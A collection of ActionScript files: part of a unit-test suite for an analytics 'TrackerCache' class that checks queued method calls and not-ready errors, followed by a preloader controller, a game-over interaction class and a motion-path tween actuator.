var e:Object = cache.element() ;
assertNotNull( e , "02 - TrackerCache cookiePathCopy method failed." ) ;
assertEquals( e.name , "cookiePathCopy" , "03 - TrackerCache cookiePathCopy method failed." ) ;
ArrayAssert.assertEquals
(
e.args as Array ,
["path"],
"04 - TrackerCache cookiePathCopy method failed."
) ;
cache.clear() ;
}
public function testGetAccount():void
{
TrackerCache.CACHE_THROW_ERROR = true ;
try
{
cache.getAccount() ;
fail( "01-01 - TrackerCache getAccount method failed, must throw an error." ) ;
}
catch( e:Error )
{
assertTrue( e is IllegalOperationError , "01-02 - TrackerCache getAccount method failed, must throw an IllegalOperationError.") ;
assertEquals
(
e.message,
"The tracker is not ready and you can use the 'getAccount' method for the moment." ,
"01-03 - TrackerCache getAccount method failed, must throw an IllegalOperationError.") ;
}
TrackerCache.CACHE_THROW_ERROR = false ;
assertEquals
(
cache.getAccount() , "" ,
"02 - TrackerCache getAccount method failed, must return a null value if the CACHE_THROW_ERROR is true."
);
}
public function testGetClientInfo():void
{
TrackerCache.CACHE_THROW_ERROR = true ;
try
{
cache.getClientInfo() ;
fail( "01-01 - TrackerCache getClientInfo method failed, must throw an error." ) ;
}
catch( e:Error )
{
assertTrue( e is IllegalOperationError , "01-02 - TrackerCache getClientInfo method failed, must throw an IllegalOperationError.") ;
assertEquals
(
e.message,
"The tracker is not ready and you can use the 'getClientInfo' method for the moment." ,
"01-03 - TrackerCache getClientInfo method failed, must throw an IllegalOperationError.") ;
}
TrackerCache.CACHE_THROW_ERROR = false ;
assertFalse
(
cache.getClientInfo() ,
"02 - TrackerCache getClientInfo method failed, must return a null value if the CACHE_THROW_ERROR is true."
);
}
public function testGetDetectFlash():void
{
TrackerCache.CACHE_THROW_ERROR = true ;
try
{
cache.getDetectFlash() ;
fail( "01-01 - TrackerCache getDetectFlash method failed, must throw an error." ) ;
}
catch( e:Error )
{
assertTrue( e is IllegalOperationError , "01-02 - TrackerCache getDetectFlash method failed, must throw an IllegalOperationError.") ;
assertEquals
(
e.message,
"The tracker is not ready and you can use the 'getDetectFlash' method for the moment." ,
"01-03 - TrackerCache getDetectFlash method failed, must throw an IllegalOperationError.") ;
}
TrackerCache.CACHE_THROW_ERROR = false ;
assertFalse
(
cache.getDetectFlash() ,
"02 - TrackerCache getDetectFlash method failed, must return a null value if the CACHE_THROW_ERROR is true."
);
}
public function testGetDetectTitle():void
{
TrackerCache.CACHE_THROW_ERROR = true ;
try
{
cache.getDetectTitle() ;
fail( "01-01 - TrackerCache getDetectTitle method failed, must throw an error." ) ;
}
catch( e:Error )
{
assertTrue( e is IllegalOperationError , "01-02 - TrackerCache getDetectTitle method failed, must throw an IllegalOperationError.") ;
assertEquals
(
e.message,
"The tracker is not ready and you can use the 'getDetectTitle' method for the moment." ,
"01-03 - TrackerCache getDetectTitle method failed, must throw an IllegalOperationError.") ;
}
TrackerCache.CACHE_THROW_ERROR = false ;
assertFalse
(
cache.getDetectTitle() ,
"02 - TrackerCache getDetectTitle method failed, must return a null value if the CACHE_THROW_ERROR is true."
);
}
public function testGetLocalGifPath():void
{
TrackerCache.CACHE_THROW_ERROR = true ;
try
{
cache.getLocalGifPath() ;
fail( "01-01 - TrackerCache getLocalGifPath method failed, must throw an error." ) ;
}
catch( e:Error )
{
assertTrue( e is IllegalOperationError , "01-02 - TrackerCache getLocalGifPath method failed, must throw an IllegalOperationError.") ;
assertEquals
(
e.message,
"The tracker is not ready and you can use the 'getLocalGifPath' method for the moment." ,
"01-03 - TrackerCache getLocalGifPath method failed, must throw an IllegalOperationError.") ;
}
TrackerCache.CACHE_THROW_ERROR = false ;
assertEquals
(
cache.getLocalGifPath() , "" ,
"02 - TrackerCache getLocalGifPath method failed, must return a null value if the CACHE_THROW_ERROR is true."
);
}
public function testGetServiceMode():void
{
TrackerCache.CACHE_THROW_ERROR = true ;
try
{
cache.getServiceMode() ;
fail( "01-01 - TrackerCache getServiceMode method failed, must throw an error." ) ;
}
catch( e:Error )
{
assertTrue( e is IllegalOperationError , "01-02 - TrackerCache getServiceMode method failed, must throw an IllegalOperationError.") ;
assertEquals
(
e.message,
"The tracker is not ready and you can use the 'getServiceMode' method for the moment." ,
"01-03 - TrackerCache getServiceMode method failed, must throw an IllegalOperationError.") ;
}
TrackerCache.CACHE_THROW_ERROR = false ;
assertNull
(
cache.getServiceMode() ,
"02 - TrackerCache getServiceMode method failed, must return a null value if the CACHE_THROW_ERROR is true."
);
}
public function testGetVersion():void
{
TrackerCache.CACHE_THROW_ERROR = true ;
try
{
cache.getVersion() ;
fail( "01-01 - TrackerCache getVersion method failed, must throw an error." ) ;
}
catch( e:Error )
{
assertTrue( e is IllegalOperationError , "01-02 - TrackerCache getVersion method failed, must throw an IllegalOperationError.") ;
assertEquals
(
e.message,
"The tracker is not ready and you can use the 'getVersion' method for the moment." ,
"01-03 - TrackerCache getVersion method failed, must throw an IllegalOperationError.") ;
}
TrackerCache.CACHE_THROW_ERROR = false ;
assertEquals
(
cache.getVersion() , "" ,
"02 - TrackerCache getVersion method failed, must return a null value if the CACHE_THROW_ERROR is true."
);
}
public function testResetSession():void
{
cache.resetSession() ;
assertEquals( cache.size() , 1 , "01 - TrackerCache resetSession method failed." ) ;
var e:Object = cache.element() ;
assertNotNull( e , "02 - TrackerCache resetSession method failed." ) ;
assertEquals( e.name , "resetSession" , "03 - TrackerCache resetSession method failed." ) ;
ArrayAssert.assertEquals
(
e.args as Array ,
[],
"04 - TrackerCache resetSession method failed."
) ;
cache.clear() ;
}
public function testLink():void
{
cache.link("targetUrl", false) ;
assertEquals( cache.size() , 1 , "01 - TrackerCache link method failed." ) ;
var e:Object = cache.element() ;
assertNotNull( e , "02 - TrackerCache link method failed." ) ;
assertEquals( e.name , "link" , "03 - TrackerCache link method failed." ) ;
ArrayAssert.assertEquals
(
e.args as Array ,
["targetUrl", false],
"04 - TrackerCache link method failed."
) ;
cache.clear() ;
}
public function testLinkByPost():void
{
cache.linkByPost( "formObject" , false ) ;
assertEquals( cache.size() , 1 , "01 - TrackerCache linkByPost method failed." ) ;
var e:Object = cache.element() ;
assertNotNull( e , "02 - TrackerCache linkByPost method failed." ) ;
assertEquals( e.name , "linkByPost" , "03 - TrackerCache linkByPost method failed." ) ;
ArrayAssert.assertEquals
(
e.args as Array ,
["formObject" , false],
"04 - TrackerCache linkByPost method failed."
) ;
cache.clear() ;
}
public function testSetAllowAnchor():void
{
cache.setAllowAnchor(false) ;
assertEquals( cache.size() , 1 , "01 - TrackerCache setAllowAnchor method failed." ) ;
var e:Object = cache.element() ;
assertNotNull( e , "02 - TrackerCache setAllowAnchor method failed." ) ;
assertEquals( e.name , "setAllowAnchor" , "03 - TrackerCache setAllowAnchor method failed." ) ;
ArrayAssert.assertEquals
(
e.args as Array ,
[false],
"04 - TrackerCache setAllowAnchor method failed."
) ;
cache.clear() ;
}
public function testSetAllowHash():void
{
cache.setAllowHash(false) ;
assertEquals( cache.size() , 1 , "01 - TrackerCache setAllowHash method failed." ) ;
var e:Object = cache.element() ;
assertNotNull( e , "02 - TrackerCache setAllowHash method failed." ) ;
assertEquals( e.name , "setAllowHash" , "03 - TrackerCache setAllowHash method failed." ) ;
ArrayAssert.assertEquals
(
e.args as Array ,
[false],
"04 - TrackerCache setAllowHash method failed."
) ;
cache.clear() ;
}
public function testSetAllowLinker():void
{
cache.setAllowLinker(false) ;
assertEquals( cache.size() , 1 , "01 - TrackerCache setAllowLinker method failed." ) ;
var e:Object = cache.element() ;
assertNotNull( e , "02 - TrackerCache setAllowLinker method failed." ) ;
assertEquals( e.name , "setAllowLinker" , "03 - TrackerCache setAllowLinker method failed." ) ;
ArrayAssert.assertEquals
(
e.args as Array ,
[false],
"04 - TrackerCache setAllowLinker method failed."
) ;
cache.clear() ;
}
public function testSetCampContentKey():void
{
cache.setCampContentKey("key") ;
assertEquals( cache.size() , 1 , "01 - TrackerCache setCampContentKey method failed." ) ;
var e:Object = cache.element() ;
assertNotNull( e , "02 - TrackerCache setCampContentKey method failed." ) ;
assertEquals( e.name , "setCampContentKey" , "03 - TrackerCache setCampContentKey method failed." ) ;
ArrayAssert.assertEquals
(
e.args as Array ,
["key"],
"04 - TrackerCache setCampContentKey method failed."
) ;
cache.clear() ;
}
public function testSetCampMediumKey():void
{
cache.setCampMediumKey("key") ;
assertEquals( cache.size() , 1 , "01 - TrackerCache setCampMediumKey method failed." ) ;
var e:Object = cache.element() ;
assertNotNull( e , "02 - TrackerCache setCampMediumKey method failed." ) ;
assertEquals( e.name , "setCampMediumKey" , "03 - TrackerCache setCampMediumKey method failed." ) ;
ArrayAssert.assertEquals
(
e.args as Array ,
["key"],
"04 - TrackerCache setCampMediumKey method failed."
) ;
cache.clear() ;
}
public function testSetCampNameKey():void
{
cache.setCampNameKey("name") ;
assertEquals( cache.size() , 1 , "01 - TrackerCache setCampNameKey method failed." ) ;
var e:Object = cache.element() ;
assertNotNull( e , "02 - TrackerCache setCampNameKey method failed." ) ;
assertEquals( e.name , "setCampNameKey" , "03 - TrackerCache setCampNameKey method failed." ) ;
ArrayAssert.assertEquals
(
e.args as Array ,
["name"],
"04 - TrackerCache setCampNameKey method failed."
) ;
cache.clear() ;
}
public function testSetCampNOKey():void
{
cache.setCampNOKey("nokey") ;
assertEquals( cache.size() , 1 , "01 - TrackerCache setCampNOKey method failed." ) ;
var e:Object = cache.element() ;
assertNotNull( e , "02 - TrackerCache setCampNOKey method failed." ) ;
assertEquals( e.name , "setCampNOKey" , "03 - TrackerCache setCampNOKey method failed." ) ;
ArrayAssert.assertEquals
(
e.args as Array ,
["nokey"],
"04 - TrackerCache setCampNOKey method failed."
) ;
cache.clear() ;
}
public function testSetCampSourceKey():void
{
cache.setCampSourceKey("key") ;
assertEquals( cache.size() , 1 , "01 - TrackerCache setCampSourceKey method failed." ) ;
var e:Object = cache.element() ;
assertNotNull( e , "02 - TrackerCache setCampSourceKey method failed." ) ;
assertEquals( e.name , "setCampSourceKey" , "03 - TrackerCache setCampSourceKey method failed." ) ;
ArrayAssert.assertEquals
(
e.args as Array ,
["key"],
"04 - TrackerCache setCampSourceKey method failed."
) ;
cache.clear() ;
}
public function testSetCampTermKey():void
{
cache.setCampTermKey("key") ;
assertEquals( cache.size() , 1 , "01 - TrackerCache setCampTermKey method failed." ) ;
var e:Object = cache.element() ;
assertNotNull( e , "02 - TrackerCache setCampTermKey method failed." ) ;
assertEquals( e.name , "setCampTermKey" , "03 - TrackerCache setCampTermKey method failed." ) ;
ArrayAssert.assertEquals
(
e.args as Array ,
["key"],
"04 - TrackerCache setCampTermKey method failed."
) ;
cache.clear() ;
}
public function testSetCampaignTrack():void
{
cache.setCampaignTrack(true) ;
assertEquals( cache.size() , 1 , "01 - TrackerCache setCampaignTrack method failed." ) ;
var e:Object = cache.element() ;
assertNotNull( e , "02 - TrackerCache setCampaignTrack method failed." ) ;
assertEquals( e.name , "setCampaignTrack" , "03 - TrackerCache setCampaignTrack method failed." ) ;
ArrayAssert.assertEquals
(
e.args as Array ,
[true],
"04 - TrackerCache setCampaignTrack method failed."
) ;
cache.clear() ;
}
public function testSetClientInfo():void
{
cache.setClientInfo(true) ;
assertEquals( cache.size() , 1 , "01 - TrackerCache setClientInfo method failed." ) ;
var e:Object = cache.element() ;
assertNotNull( e , "02 - TrackerCache setClientInfo method failed." ) ;
assertEquals( e.name , "setClientInfo" , "03 - TrackerCache setClientInfo method failed." ) ;
ArrayAssert.assertEquals
(
e.args as Array ,
[true],
"04 - TrackerCache setClientInfo method failed."
) ;
cache.clear() ;
}
public function testSetCookieTimeout():void
{
cache.setCookieTimeout(2) ;
assertEquals( cache.size() , 1 , "01 - TrackerCache setCookieTimeout method failed." ) ;
var e:Object = cache.element() ;
assertNotNull( e , "02 - TrackerCache setCookieTimeout method failed." ) ;
assertEquals( e.name , "setCookieTimeout" , "03 - TrackerCache setCookieTimeout method failed." ) ;
ArrayAssert.assertEquals
(
e.args as Array ,
[2],
"04 - TrackerCache setCookieTimeout method failed."
) ;
cache.clear() ;
}
public function testSetCookiePath():void
{
cache.setCookiePath("path") ;
assertEquals( cache.size() , 1 , "01 - TrackerCache setCookiePath method failed." ) ;
var e:Object = cache.element() ;
assertNotNull( e , "02 - TrackerCache setCookiePath method failed." ) ;
assertEquals( e.name , "setCookiePath" , "03 - TrackerCache setCookiePath method failed." ) ;
ArrayAssert.assertEquals
(
e.args as Array ,
["path"],
"04 - TrackerCache setCookiePath method failed."
) ;
cache.clear() ;
}
public function testSetDetectFlash():void
{
cache.setDetectFlash(true) ;
assertEquals( cache.size() , 1 , "01 - TrackerCache setDetectFlash method failed." ) ;
var e:Object = cache.element() ;
assertNotNull( e , "02 - TrackerCache setDetectFlash method failed." ) ;
assertEquals( e.name , "setDetectFlash" , "03 - TrackerCache setDetectFlash method failed." ) ;
ArrayAssert.assertEquals
(
e.args as Array ,
[true],
"04 - TrackerCache setDetectFlash method failed."
) ;
cache.clear() ;
}
public function testSetDetectTitle():void
{
cache.setDetectTitle(true) ;
assertEquals( cache.size() , 1 , "01 - TrackerCache setDetectTitle method failed." ) ;
var e:Object = cache.element() ;
assertNotNull( e , "02 - TrackerCache setDetectTitle method failed." ) ;
assertEquals( e.name , "setDetectTitle" , "03 - TrackerCache setDetectTitle method failed." ) ;
ArrayAssert.assertEquals
(
e.args as Array ,
[true],
"04 - TrackerCache setDetectTitle method failed."
) ;
cache.clear() ;
}
public function testSetDomainName():void
{
cache.setDomainName("name") ;
assertEquals( cache.size() , 1 , "01 - TrackerCache setDomainName method failed." ) ;
var e:Object = cache.element() ;
assertNotNull( e , "02 - TrackerCache setDomainName method failed." ) ;
assertEquals( e.name , "setDomainName" , "03 - TrackerCache setDomainName method failed." ) ;
ArrayAssert.assertEquals
(
e.args as Array ,
["name"],
"04 - TrackerCache setDomainName method failed."
) ;
cache.clear() ;
}
public function testSetLocalGifPath():void
{
cache.setLocalGifPath("path") ;
assertEquals( cache.size() , 1 , "01 - TrackerCache setLocalGifPath method failed." ) ;
var e:Object = cache.element() ;
assertNotNull( e , "02 - TrackerCache setLocalGifPath method failed." ) ;
assertEquals( e.name , "setLocalGifPath" , "03 - TrackerCache setLocalGifPath method failed." ) ;
ArrayAssert.assertEquals
(
e.args as Array ,
["path"],
"04 - TrackerCache setLocalGifPath method failed."
) ;
cache.clear() ;
}
public function testSetLocalRemoteServerMode():void
{
cache.setLocalRemoteServerMode() ;
assertEquals( cache.size() , 1 , "01 - TrackerCache setLocalRemoteServerMode method failed." ) ;
var e:Object = cache.element() ;
assertNotNull( e , "02 - TrackerCache setLocalRemoteServerMode method failed." ) ;
assertEquals( e.name , "setLocalRemoteServerMode" , "03 - TrackerCache setLocalRemoteServerMode method failed." ) ;
ArrayAssert.assertEquals
(
e.args as Array ,
[],
"04 - TrackerCache setLocalRemoteServerMode method failed."
) ;
cache.clear() ;
}
public function testSetLocalServerMode():void
{
cache.setLocalServerMode() ;
assertEquals( cache.size() , 1 , "01 - TrackerCache setLocalServerMode method failed." ) ;
var e:Object = cache.element() ;
assertNotNull( e , "02 - TrackerCache setLocalServerMode method failed." ) ;
assertEquals( e.name , "setLocalServerMode" , "03 - TrackerCache setLocalServerMode method failed." ) ;
ArrayAssert.assertEquals
(
e.args as Array ,
[],
"04 - TrackerCache setLocalServerMode method failed."
) ;
cache.clear() ;
}
public function testSetRemoteServerMode():void
{
cache.setRemoteServerMode() ;
assertEquals( cache.size() , 1 , "01 - TrackerCache setRemoteServerMode method failed." ) ;
var e:Object = cache.element() ;
assertNotNull( e , "02 - TrackerCache setRemoteServerMode method failed." ) ;
assertEquals( e.name , "setRemoteServerMode" , "03 - TrackerCache setRemoteServerMode method failed." ) ;
ArrayAssert.assertEquals
(
e.args as Array ,
[],
"04 - TrackerCache setRemoteServerMode method failed."
) ;
cache.clear() ;
}
public function testSetSampleRate():void
{
cache.setSampleRate(1000) ;
assertEquals( cache.size() , 1 , "01 - TrackerCache setSampleRate method failed." ) ;
var e:Object = cache.element() ;
assertNotNull( e , "02 - TrackerCache setSampleRate method failed." ) ;
assertEquals( e.name , "setSampleRate" , "03 - TrackerCache setSampleRate method failed." ) ;
ArrayAssert.assertEquals
(
e.args as Array ,
[1000],
"04 - TrackerCache setSampleRate method failed."
) ;
cache.clear() ;
}
public function testSetSessionTimeout():void
{
cache.setSessionTimeout(1000) ;
assertEquals( cache.size() , 1 , "01 - TrackerCache setSessionTimeout method failed." ) ;
var e:Object = cache.element() ;
assertNotNull( e , "02 - TrackerCache setSessionTimeout method failed." ) ;
assertEquals( e.name , "setSessionTimeout" , "03 - TrackerCache setSessionTimeout method failed." ) ;
ArrayAssert.assertEquals
(
e.args as Array ,
[1000],
"04 - TrackerCache setSessionTimeout method failed."
) ;
cache.clear() ;
}
public function testSetVar():void
{
cache.setVar("value") ;
assertEquals( cache.size() , 1 , "01 - TrackerCache setVar method failed." ) ;
var e:Object = cache.element() ;
assertNotNull( e , "02 - TrackerCache setVar method failed." ) ;
assertEquals( e.name , "setVar" , "03 - TrackerCache setVar method failed." ) ;
ArrayAssert.assertEquals
(
e.args as Array ,
["value"],
"04 - TrackerCache setVar method failed."
) ;
cache.clear() ;
}
public function testTrackEvent():void
{
assertTrue
(
cache.trackEvent("category", "action", "label", 1) ,
"00 - TrackerCache trackEvent method failed."
) ;
assertEquals( cache.size() , 1 , "01 - TrackerCache trackEvent method failed." ) ;
var e:Object = cache.element() ;
assertNotNull( e , "02 - TrackerCache trackEvent method failed." ) ;
assertEquals( e.name , "trackEvent" , "03 - TrackerCache trackEvent method failed." ) ;
ArrayAssert.assertEquals
(
e.args as Array ,
["category", "action", "label", 1],
"04 - TrackerCache setVar method failed."
) ;
cache.clear() ;
}
public function testTrackPageview():void
{
cache.trackPageview("pageUrl") ;
assertEquals( cache.size() , 1 , "01 - TrackerCache trackPageview method failed." ) ;
var e:Object = cache.element() ;
assertNotNull( e , "02 - TrackerCache trackPageview method failed." ) ;
assertEquals( e.name , "trackPageview" , "03 - TrackerCache trackPageview method failed." ) ;
ArrayAssert.assertEquals
(
e.args as Array ,
["pageUrl"],
"04 - TrackerCache trackPageview method failed."
) ;
cache.clear() ;
}
public function testTrackTrans():void
{
cache.trackTrans() ;
assertEquals( cache.size() , 1 , "01 - TrackerCache trackTrans method failed." ) ;
var e:Object = cache.element() ;
assertNotNull( e , "02 - TrackerCache trackTrans method failed." ) ;
assertEquals( e.name , "trackTrans" , "03 - TrackerCache trackTrans method failed." ) ;
ArrayAssert.assertEquals
(
e.args as Array ,
[],
"04 - TrackerCache trackPageview method failed."
) ;
cache.clear() ;
}
}
}
|
import templateMp3.util.*;
import templateMp3.mvc.*
import templateMp3.I.*
import templateMp3.mvcMp3.*;
class templateMp3.mvcMp3.PreloaderController extends AbstractController {
////////////////////////////////////////////////////////////////////////////////
public function PreloaderController (model:Observable) {
super(model);
}
////////////////////////////////////////////////////////////////////////////////
} |
package fr.manashield.flex.thex.userInterface {
import flash.display.Stage;
import flash.events.EventDispatcher;
/**
* @author Morgan Peyre (morgan@peyre.info)
* @author Paul Bonnet
*/
public class GameOverUserInteraction extends UserInteraction
{
public function GameOverUserInteraction(stage:Stage, eventDispatcher:EventDispatcher = null):void
{
super(stage, eventDispatcher);
}
public override function isAbstract():Boolean
{
return false;
}
}
}
|
package com.eclecticdesignstudio.motion.actuators {
import com.eclecticdesignstudio.motion.MotionPath;
import flash.utils.getTimer;
use namespace MotionInternal;
/**
* @author Joshua Granick
* @version 1.2
*/
public class MotionPathActuator extends SimpleActuator {
public function MotionPathActuator (target:Object, duration:Number, properties:Object) {
super (target, duration, properties);
}
MotionInternal override function apply ():void {
for (var propertyName:String in properties) {
target[propertyName] = (properties[propertyName] as MotionPath).MotionInternal::end;
}
}
protected override function initialize ():void {
var details:PropertyPathDetails;
var path:MotionPath;
for (var propertyName:String in properties) {
path = properties[propertyName] as MotionPath;
if (path) {
path.start = Number (target[propertyName]);
details = new PropertyPathDetails (target, propertyName, path);
propertyDetails.push (details);
}
}
detailsLength = propertyDetails.length;
initialized = true;
}
MotionInternal override function update (currentTime:Number):void {
if (!paused) {
var details:PropertyPathDetails;
var easing:Number;
var i:uint;
var tweenPosition:Number = (currentTime - timeOffset) / duration;
if (tweenPosition > 1) {
tweenPosition = 1;
}
if (!initialized) {
initialize ();
}
if (!MotionInternal::special) {
easing = MotionInternal::ease.calculate (tweenPosition);
for (i = 0; i < detailsLength; ++i) {
details = propertyDetails[i];
details.target[details.propertyName] = details.path.MotionInternal::calculate (easing);
}
} else {
if (!MotionInternal::reverse) {
easing = MotionInternal::ease.calculate (tweenPosition);
} else {
easing = MotionInternal::ease.calculate (1 - tweenPosition);
}
var endValue:Number;
for (i = 0; i < detailsLength; ++i) {
details = propertyDetails[i];
if (!MotionInternal::snapping) {
details.target[details.propertyName] = details.path.MotionInternal::calculate (easing);
} else {
details.target[details.propertyName] = Math.round (details.path.MotionInternal::calculate (easing));
}
}
}
if (tweenPosition === 1) {
if (MotionInternal::repeat === 0) {
active = false;
if (toggleVisible && target.alpha === 0) {
target.visible = false;
}
complete (true);
return;
} else {
if (MotionInternal::reflect) {
MotionInternal::reverse = !MotionInternal::reverse;
}
startTime = currentTime;
timeOffset = startTime + MotionInternal::delay;
if (MotionInternal::repeat > 0) {
MotionInternal::repeat --;
}
}
}
if (sendChange) {
change ();
}
}
}
}
}
import com.eclecticdesignstudio.motion.MotionPath;
class PropertyPathDetails {
public var target:Object;
public var path:MotionPath;
public var propertyName:String;
public function PropertyPathDetails (target:Object, propertyName:String, path:MotionPath) {
this.target = target;
this.propertyName = propertyName;
this.path = path;
}
} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.